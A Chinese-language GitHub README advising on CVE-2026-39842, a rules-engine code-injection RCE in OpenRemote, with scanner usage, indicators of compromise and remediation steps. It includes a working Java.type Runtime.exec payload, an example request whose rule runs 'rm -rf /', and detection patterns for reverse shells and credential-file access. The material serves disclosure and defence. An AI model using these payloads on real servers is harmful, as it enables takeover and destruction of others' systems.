keraattin/CVE-2026-39842

GitHub: keraattin/CVE-2026-39842

识别并验证 OpenRemote 规则引擎中的 RCE 漏洞(CVE-2026-39842),提供检测、修复与取证的一站式参考。

Stars: 0 | Forks: 0

# CVE-2026-39842:OpenRemote 规则引擎表达式注入导致的 RCE [![CVE-2026-39842](https://img.shields.io/badge/CVE-2026--39842-red)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842) [![CVSS 10.0 Critical](https://img.shields.io/badge/CVSS-10.0%20Critical-critical)](https://nvd.nist.gov/vuln/detail/CVE-2026-39842) [![CWE-94](https://img.shields.io/badge/CWE-94%20Code%20Injection-orange)](https://cwe.mitre.org/data/definitions/94.html) [![CWE-917](https://img.shields.io/badge/CWE-917%20EL%20Injection-orange)](https://cwe.mitre.org/data/definitions/917.html) [![OpenRemote](https://img.shields.io/badge/Product-OpenRemote-blue)](https://openremote.io/) [![Status FIXED](https://img.shields.io/badge/Status-FIXED-brightgreen)](#remediation) ## TL;DR OpenRemote 规则引擎中存在关键性的远程代码执行漏洞。拥有 `write:rules` 角色的认证攻击者可在服务器上执行任意代码并获得 root 权限。 - **CVSS 分数**:10.0(严重) - **CVSS 向量**:`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` - **受影响版本**:OpenRemote <= 1.21.0 - **修复版本**:OpenRemote >= 1.22.0 - **需要认证**:是(`write:rules` 角色,非超级用户也可) - **利用方式**:以 root 身份执行 RCE、文件系统访问、窃取环境变量、多租户数据泄露 - **建议**:[GHSA-7mqr-33rv-p3mp](https://github.com/advisories/GHSA-7mqr-33rv-p3mp) ## 目录 - [快速要点](#quick-facts) - [OpenRemote 是什么?](#what-is-openremote) - [漏洞深度分析](#vulnerability-deep-dive) - [影响分析](#impact-analysis) - [受影响版本](#affected-versions) - [检测](#detection) - [妥协指标](#indicators-of-compromise) - [修复措施](#remediation) - [参考资料](#references) - [作者](#author) ## 快速要点 | 方面 | 详情 | |------|------| | **CVE ID** | CVE-2026-39842 | | **GHSA ID** | GHSA-7mqr-33rv-p3mp | | **漏洞类型** | 代码注入 / 表达式语言注入 | | **CVSS 分数** | 10.0(严重) | | **CWE** | CWE-94、CWE-917 | | **产品** | OpenRemote | | **受影响版本** | <= 1.21.0 | | **修复版本** | >= 1.22.0 | | **需要认证** | 是 | | **所需权限级别** | `write:rules` 角色(非超级用户) | | **易受攻击端点** | POST /api/{realm}/rules/realm、POST /api/{realm}/rules/asset | | **RCE 执行级别** | root | | **可利用性** | 高 | | **复杂度** | 低 | | **发现日期** | 2026 | ## OpenRemote 是什么? OpenRemote 是一个开源的物联网平台,用于构建智能建筑、城市和工业设施。它提供设备管理、自动化规则、分析以及物联网生态系统的集成。 ### 主要特性 - 支持多种协议(MQTT、Modbus、BACnet、HTTP)的设备与资产管理 - 用于物联网自动化和逻辑处理的规则引擎 - 带有基于角色的访问控制的多租户架构 - 实时仪表板与监控 - 使用多种脚本语言创建自定义规则 - 用于集成与管理的 REST API - 云端和本地部署选项 ### OpenRemote 架构 ``` Internet / Network | ┌────────┴────────┐ v v ┌──────────────┐ ┌──────────────┐ | Web Browser | | Mobile App | └──────────────┘ └──────────────┘ | | └────────┬────────┘ v ┌──────────────────┐ | OpenRemote API | | (REST/WebSocket) | └────────┬─────────┘ v ┌──────────────────┐ | Manager Service | | (Port 8080) | └────────┬─────────┘ | ┌────────────────────┼────────────────────┐ | | | v v v ┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘ ``` ## 漏洞深度分析 ### 根本原因 该漏洞源于 OpenRemote 规则引擎中的两个关键缺陷: **缺陷 1:未受沙箱限制的 Nashorn JavaScript 引擎** Java Nashorn JavaScript 引擎被用于评估用户提供的规则表达式,且没有任何沙箱、安全管理器或 ClassFilter 限制。这使得攻击者能够直接从 JavaScript 上下文访问 Java 类。 **缺陷 2:禁用的 Groovy 沙箱** Groovy 脚本引擎曾注册了 GroovyDenyAllFilter 以阻止代码执行,但该注册在代码库中被注释掉了。仅在 API 层面(RulesResourceImpl.java:262)存在 Groovy 限制,而 JavaScript 没有任何限制。 ### 易受攻击代码路径 ``` RulesResource.java (lines 153-158) | > POST request handler for rule creation | v RulesetDeployment.java (line 368) | > scriptEngine.eval(ruleExpression) | v Nashorn Engine | > No ClassFilter / SecurityManager > Java.type() accessible > Runtime.exec() available ``` ### 授权绕过 该漏洞影响拥有 `write:rules` 角色的认证用户。RulesResourceImpl.java:262 处的授权检查仅阻止非超级用户使用 Groovy: ``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); } ``` 这意味着: - 非超级用户 **可以** 创建 JavaScript 规则(无阻止) - 非超级用户 **无法** 创建 Groovy 规则(被阻止) - JavaScript 缺乏沙箱,因此任何拥有 `write:rules` 权限的认证用户都可能被利用 此外,通过反射访问 assetStorageService,可绕过多租户隔离,访问其他领域的数据。 ### 攻击流程 ``` ┌─────────────────────────────────────────────────────┐ | 1. Attacker authenticates with write:rules role | └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 2. POST /api/{realm}/rules/realm with JS expression| └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 3. Expression passes validation (no checks) | └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 4. RulesetDeployment.java calls scriptEngine.eval() | └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 5. Nashorn Engine executes JavaScript payload | └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 6. Java.type("java.lang.Runtime") access granted | └─────────────────────────────────────────────────────┘ | v ┌─────────────────────────────────────────────────────┐ | 7. Arbitrary command execution as root | └─────────────────────────────────────────────────────┘ ``` ### 逐步利用 **步骤 1:获取 `write:rules` 凭证** 攻击者需要拥有 `write:rules` 角色,这可以是: - 合法的系统管理员 - 被攻陷的账户 - 拥有过多权限分配的用户 **步骤 2:构造 JavaScript 载荷** 创建一个使用 JavaScript 访问 Java 运行时的规则表达式: ``` var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result; ``` **步骤 3:发送至易受攻击的端点** ``` POST /api/{realm}/rules/realm HTTP/1.1 Content-Type: application/json { "name": "malicious_rule", "enabled": true, "trigger": "timer", "actions": [ { "type": "local_action", "target": "asset_id", "action": "perform_action", "value": "// Payload here" } ], "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');" } ``` **步骤 4:规则执行** 平台会立即或在计划触发时评估该规则,并以 root 权限执行载荷。 **步骤 5:后利用** 获得 root 权限的 RCE 后,攻击者可以: - 读取敏感文件(/etc/passwd、应用配置) - 窃取包含 API 密钥和凭证的环境变量 - 修改系统配置 - 安装后门或持久化机制 - 直接访问 PostgreSQL 数据库 - 在多租户部署中跨租户泄露数据 ## 影响分析 ### 严重性:CRITICAL(CVSS 10.0) #### 远程代码执行 认证攻击者可在 OpenRemote 服务器上执行任意代码并获得 root 权限。这是最高严重性的影响,可导致完整系统沦陷。 ``` Result of successful exploitation: uid=0(root) gid=0(root) groups=0(root) ``` #### 文件系统访问 对系统所有文件的完全读写权限: - 应用程序源代码泄露 - 敏感配置文件(数据库密码、API 密钥) - 系统文件与凭证 - Docker 容器文件(若容器化部署) #### 环境变量窃取 可访问包含以下信息的环境变量: - 数据库连接字符串 - API 密钥与令牌 - OAuth 密钥 - 私有加密密钥 - AWS/云凭证 #### 数据泄露 在多租户部署中,攻击者可通过反射绕过租户隔离: - 同时访问所有租户的数据 - 读取敏感的物联网传感器数据 - 修改跨组织的自动化规则 - 提取商业智能与专有信息 #### 系统完整性 - 永久后门安装 - 恶意软件部署 - 勒索软件执行 - 供应链污染(若用于开发) #### 服务中断 - 通过资源耗尽实施拒绝服务 - 数据库删除或损坏 - 配置篡改 - 系统关机或重启 ## 受影响版本 | 版本 | 状态 | 说明 | |------|------|------| | <= 1.15.0 | 漏洞存在 | 原始漏洞 | | 1.16.0 | 漏洞存在 | 未修复 | | 1.17.0 | 漏洞存在 | 未修复 | | 1.18.0 | 漏洞存在 | 未修复 | | 1.19.0 | 漏洞存在 | 未修复 | 1.20.0 | 漏洞存在 | 未修复 | | 1.21.0 | 漏洞存在 | 最后受影响版本 | | 1.22.0+ | 已修复 | JavaScript 规则引擎已完全移除 | ### 版本详情 - **脆弱范围**:1.0.0 至 1.21.0(所有包含 JS 规则引擎的版本) - **修复版本**:1.22.0(JavaScript 规则引擎已完全移除) - **回溯补丁**:不提供旧版本的安全回溯补丁;必须升级 ## 检测 ### 工作原理 检测机制通过多种方法识别 OpenRemote 实例并检查其漏洞状态: 1. **HTTP 标头探测**:查询 API 根端点以识别 OpenRemote 并提取版本信息 2. **端点指纹识别**:测试易受攻击端点的存在与行为 3. **版本关联**:将检测到的版本与已知漏洞范围比对 4. **响应分析**:检查 OpenRemote 特征的错误消息与响应结构 ### Python 扫描器 `detect_openremote.py` 扫描器用于自动化检测与漏洞评估。 #### 安装 ``` python3 -m pip install requests ``` #### 用法 ``` python3 detect_openremote.py [OPTIONS] ``` #### 选项 | 选项 | 简写 | 长选项 | 类型 | 描述 | |------|------|--------|------|---------| | 目标 | -t | --target | 字符串 | 单个目标 URL(例如 http://10.0.0.1:8080) | | 列表 | -l | --list | 文件 | 包含目标列表的文件(每行一个) | | 输出 | -o | --output | 文件 | 将结果写入 CSV 文件 | | 详细 | -v | --verbose | 标志 | 启用详细输出与详细响应 | | 超时 | | --timeout | 整数 | HTTP 请求超时(秒,默认 10) | | 标头 | | --no-banner | 标志 | 跳过标头打印 | #### 示例:单个目标 ``` python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose ``` 预期输出: ``` [*] Scanning http://10.0.0.1:8080 [+] OpenRemote detected! Version: 1.21.0 Vulnerable: YES (CVE-2026-39842) CVSS Score: 10.0 Critical Status: Requires upgrade to 1.22.0+ ``` #### 示例:多目标及输出 ``` python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15 ``` `targets.txt` 文件内容: ``` http://192.168.1.100:8080 http://192.168.1.101:8080 https://openremote.example.com:8443 http://10.20.30.40:8080 ``` `results.csv` 预期输出: ``` Target,Status,Version,Vulnerable,CVSS http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0 http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0 https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,- http://10.20.30.40:8080,Not OpenRemote,-,-,- ``` #### 示例:详细输出 ``` python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose --no-banner ``` 预期详细输出: ``` [*] Target: http://10.0.0.1:8080 [*] Probing for OpenRemote... [*] HTTP GET / Response Code: 200 Server: Apache Content-Type: text/html [*] Checking /api/info Response Code: 200 Body: {"version":"1.21.0","name":"OpenRemote"} [+] OpenRemote 1.21.0 identified [+] Version 1.21.0 is vulnerable to CVE-2026-39842 [!] CVSS: 10.0 Critical [!] RCE Confirmed: YES ``` ### Nmap NSE 脚本 `openremote-detect.nse` 脚本提供对 Nmap 的集成支持。 #### 安装 ``` cp openremote-detect.nse /usr/share/nmap/scripts/ nmap --script-updatedb ``` #### 用法 ``` nmap -p 8080 --script openremote-detect nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true ``` #### 示例:基础扫描 ``` nmap -p 8080 --script openremote-detect 192.168.1.0/24 ``` 预期输出: ``` Nmap scan report for 192.168.1.100 Host is up (0.0042s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.21.0 | Vulnerable: YES | CVE: CVE-2026-39842 |_ CVSS: 10.0 Critical Nmap scan report for 192.168.1.101 Host is up (0.0031s latency). 8080/tcp open http-proxy | openremote-detect: | Status: OpenRemote Detected | Version: 1.22.1 | Vulnerable: NO | Fixed Version: 1.22.0 |_ Status: Patched ``` #### 示例:详细扫描 ``` nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100 ``` 预期详细输出: ``` | openremote-detect: | Host: 192.168.1.100:8080 | Detection Method: HTTP Banner Analysis | Probe Endpoint: /api/info | Response Code: 200 | Version: 1.21.0 | Version Detected: YES | Vulnerable: YES | CVE-2026-39842: AFFECTED | CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | CVSS Score: 10.0 | Fix Available: YES | Fixed Version: 1.22.0 | Authentication Required: YES | Endpoint Vulnerable: POST /api/{realm}/rules/realm |_ Endpoint Vulnerable: POST /api/{realm}/rules/asset ``` ### 手动验证 使用 curl 手动验证漏洞: **1. 识别 OpenRemote 版本** ``` curl -s http://target:8080/api/info | jq . ``` 预期响应: ``` { "version": "1.21.0", "name": "OpenRemote", "instanceId": "instance-123" } ``` **2. 检查规则端点** ``` curl -s -H "Authorization: Bearer TOKEN" \ http://target:8080/api/master/rules/realm | head -20 ``` 若返回 401 或 403,则端点存在但需要认证。 **3. 认证并测试表达式注入** ``` curl -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{ "name": "test_rule", "trigger": "timer", "ruleExpression": "1 + 1" }' \ http://target:8080/api/master/rules/realm ``` 若成功创建且版本 <= 1.21.0,则实例存在漏洞。 **4. 测试 JavaScript 执行(概念验证)** ``` curl -X POST \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_TOKEN" \ -d '{ "name": "poc_rule", "trigger": "timer", "ruleExpression": "var x = 5; x * 2;" }' \ http://target:8080/api/master/rules/realm ``` **5. 识别领域名称** ``` curl -s -H "Authorization: Bearer TOKEN" \ http://target:8080/api/admin/realms | jq .[].name ``` 常见领域名称:`master`、`default`、`main` ## 妥协指标 ### 日志指标 在应用程序日志中搜索以下模式: **使用 JavaScript 载荷的规则创建** ``` Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type" ``` **规则中的命令执行尝试** ``` Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()" ``` **来自 Java 的意外进程执行** ``` Pattern: Child processes spawned by OpenRemote Java process Command: ps aux | grep -i openremote Look for: bash, sh, curl, wget, nc spawned by java process ``` **文件系统访问异常** ``` Pattern: Unexpected file reads from application directory Files to monitor: - /opt/openremote/config/ - /opt/openremote/.env - /root/.ssh/ - /etc/passwd ``` **数据库访问模式** ``` Pattern: SELECT queries accessing other realms' data Anomaly: Queries from rules engine accessing cross-tenant data Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm) ``` ### 网络指标 **OpenRemote 进程的外联连接** ``` netstat -tlnp | grep -i java Look for: Unexpected ESTABLISHED connections Example: java process connecting to external C2 servers ``` **反向 Shell 回调** ``` Pattern: Outbound TCP/UDP connections from port 8080 server Destinations: Suspicious IPs, non-standard ports Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)' ``` **横向移动尝试** ``` Pattern: Connections to internal resources (databases, APIs) From: OpenRemote process To: Database servers, internal APIs, SSH services ``` ### 文件系统指标 **OpenRemote 目录中的可疑文件** ``` /opt/openremote/.backdoor /opt/openremote/shell.sh /opt/openremote/config/stolen_data.txt /var/tmp/openremote_exploit /tmp/.java* ``` **被修改的 OpenRemote 二进制文件** ``` find /opt/openremote -type f -newer /opt/openremote/VERSION.txt find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes ``` **计划任务或持久化作业** ``` cat /etc/cron.d/* | grep openremote cat /var/spool/cron/crontabs/* | grep -i java cat ~/.bashrc ~/.bash_profile | grep -v '^#' ``` ### 内存与进程指标 **可疑的环境变量** ``` cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR' ``` **内存驻留载荷** ``` strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp' ``` ## 修复措施 ### 即时操作(0-24 小时) **1. 升级到修复版本** 完整修复仅在 OpenRemote 1.22.0+ 中提供,该版本完全移除了 JavaScript 规则引擎。 ``` # 备份当前安装 cp -r /opt/openremote /opt/openremote.backup.1.21.0 mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql # 下载并安装 1.22.0+ wget https://releases.openremote.io/openremote-1.22.0.tar.gz tar -xzf openremote-1.22.0.tar.gz -C /opt/ systemctl restart openremote # 验证版本 curl -s http://localhost:8080/api/info | jq .version ``` **2. 限制 API 访问** 若无法立即升级,可在防火墙/反向代理层面限制对易受攻击端点的访问: ``` # Nginx 示例 location ~ ^/api/.*/rules/ { return 403; } ``` **3. 审计现有规则** 列出所有规则并检查可疑的 JavaScript: ``` curl -s -H "Authorization: Bearer ADMIN_TOKEN" \ http://localhost:8080/api/master/rules/realm | \ jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))' ``` 删除包含 Java 互操作的规则: ``` curl -X DELETE \ -H "Authorization: Bearer ADMIN_TOKEN" \ http://localhost:8080/api/master/rules/realm/{RULE_ID} ``` **4. 审查访问日志** 检查过去 30 天是否存在利用尝试: ``` grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \ grep -i "java\|runtime\|exec\|type" ``` **5. 凭证轮换** 轮换所有可能暴露的凭证: ``` - OpenRemote admin passwords - Database passwords - API keys and tokens - SSH keys if accessible - Environment variable secrets ``` ### 短期操作(1-7 天) **1. 网络隔离** 仅允许授权网络访问 OpenRemote API: ``` - Block external internet access to port 8080 - Implement VPN/SSO requirement for API access - Use API gateway with authentication/authorization ``` **2. 角色审计** 审查并最小化拥有 `write:rules` 角色的用户: ``` curl -s -H "Authorization: Bearer ADMIN_TOKEN" \ http://localhost:8080/api/admin/users | \ jq '.[] | select(.roles | contains("write:rules"))' ``` 移除所有非必要用户的 `write:rules` 角色。 **3. 启用请求日志** 为所有 API 请求配置详细日志: ``` # application.properties logging.level.org.openremote.manager.rules=DEBUG logging.level.org.openremote.manager.rules.RulesResource=TRACE ``` **4. 数据库审计** 在特定日期后搜索数据库中创建的恶意规则: ``` SELECT id, name, ruleset_def, created_on FROM RULE WHERE created_on > '2026-04-01' AND ( ruleset_def LIKE '%Java.type%' OR ruleset_def LIKE '%Runtime%' OR ruleset_def LIKE '%exec%' ); ``` **5. 威胁排查** 对 OpenRemote 服务器执行完整安全扫描: ``` # ClamAV 恶意软件扫描 clamscan -r --remove /opt/openremote/ # 检查后门 chkrootkit rkhunter --check --skip-warnings # 文件完整性验证 aide --check ``` ### 长期操作(7-30 天) **1. 完整系统加固** - 在受限权限下运行 OpenRemote(禁用 root) - 实施 SELinux 或 AppArmor 策略 - 在可能的情况下使用只读文件系统 - 启用系统级审计日志 **2. 访问控制实施** - 为管理员用户实施多因素认证 - 使用 OAuth2/OIDC 替代令牌认证 - 对所有角色实施最小权限原则 - 定期进行访问审查与认证 **3. 应用程序安全** - 为规则引擎实施 Web 应用防火墙(WAF)规则 - 对敏感端点启用请求速率限制 - 实施请求大小限制 - 严格验证所有用户输入 **4. 监控与告警** 部署 SIEM 检测规则: ``` Alert on: - Any POST to /api/*/rules/* endpoints with JavaScript content - Java.type or Runtime in request body - Multiple rule creation attempts in short time window - Rule modification by non-admin users - Unusual process spawning from OpenRemote JVM ``` **5. 事件响应计划** 制定并测试事件响应流程: - 被攻陷 OpenRemote 实例的隔离步骤 - 取证收集流程 - 通知受影响客户端的流程 - 恢复与清理流程 - 事后复盘 **6. 持续监控** 实施持续安全监控: ``` # 每日漏洞扫描 nmap -p 8080 --script openremote-detect \ $(cat /etc/openremote/monitored_hosts.txt) \ --script-args 'onerror=continue' \ -oX /var/log/openremote-scan.xml # 自动化漏洞版本警报 if version <= 1.21.0; then send_alert "CVE-2026-39842: Unpatched OpenRemote detected" fi ``` ## 参考资料 - **官方建议**:https://github.com/advisories/GHSA-7mqr-33rv-p3mp - **CVE 记录**:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842 - **NVD条目**:https://nvd.nist.gov/vuln/detail/CVE-2026-39842 - **OpenRemote 仓库**:https://github.com/openremote/openremote - **OpenRemote 安全**:https://openremote.io/security - **CWE-94 代码注入**:https://cwe.mitre.org/data/definitions/94.html - **CWE-917 EL 注入**:https://cwe.mitre.org/data/definitions/917.html - **CVSS 计算器**:https://www.first.org/cvss/calculator/3.1 - **Nashorn 安全性**:https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html - **Java SecurityManager**:https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html ## 作者 **Kerem Oruc** 安全研究员,漏洞披露 如需咨询、报告或获取本漏洞的更多信息,请通过负责任披露渠道联系作者。 **最后更新**:2026-04-16 **版本**:1.0 **状态**:公开
标签:API安全, BurpSuite集成, CTI, CVE-2026-39842, CVSS 10.0, CWE-917, CWE-94, GHSA-7mqr-33rv-p3mp, JSON输出, JS文件枚举, OpenRemote, RCE, root权限, write:rules, 云计算, 写规则角色, 协议分析, 安全, 应用安全, 数据可视化, 文件系统访问, 服务端安全, 权限提升, 注入漏洞, 漏洞, 漏洞披露, 环境变量窃取, 编程工具, 表达式注入, 规则引擎, 认证绕过, 超时处理, 远程代码执行, 逆向工具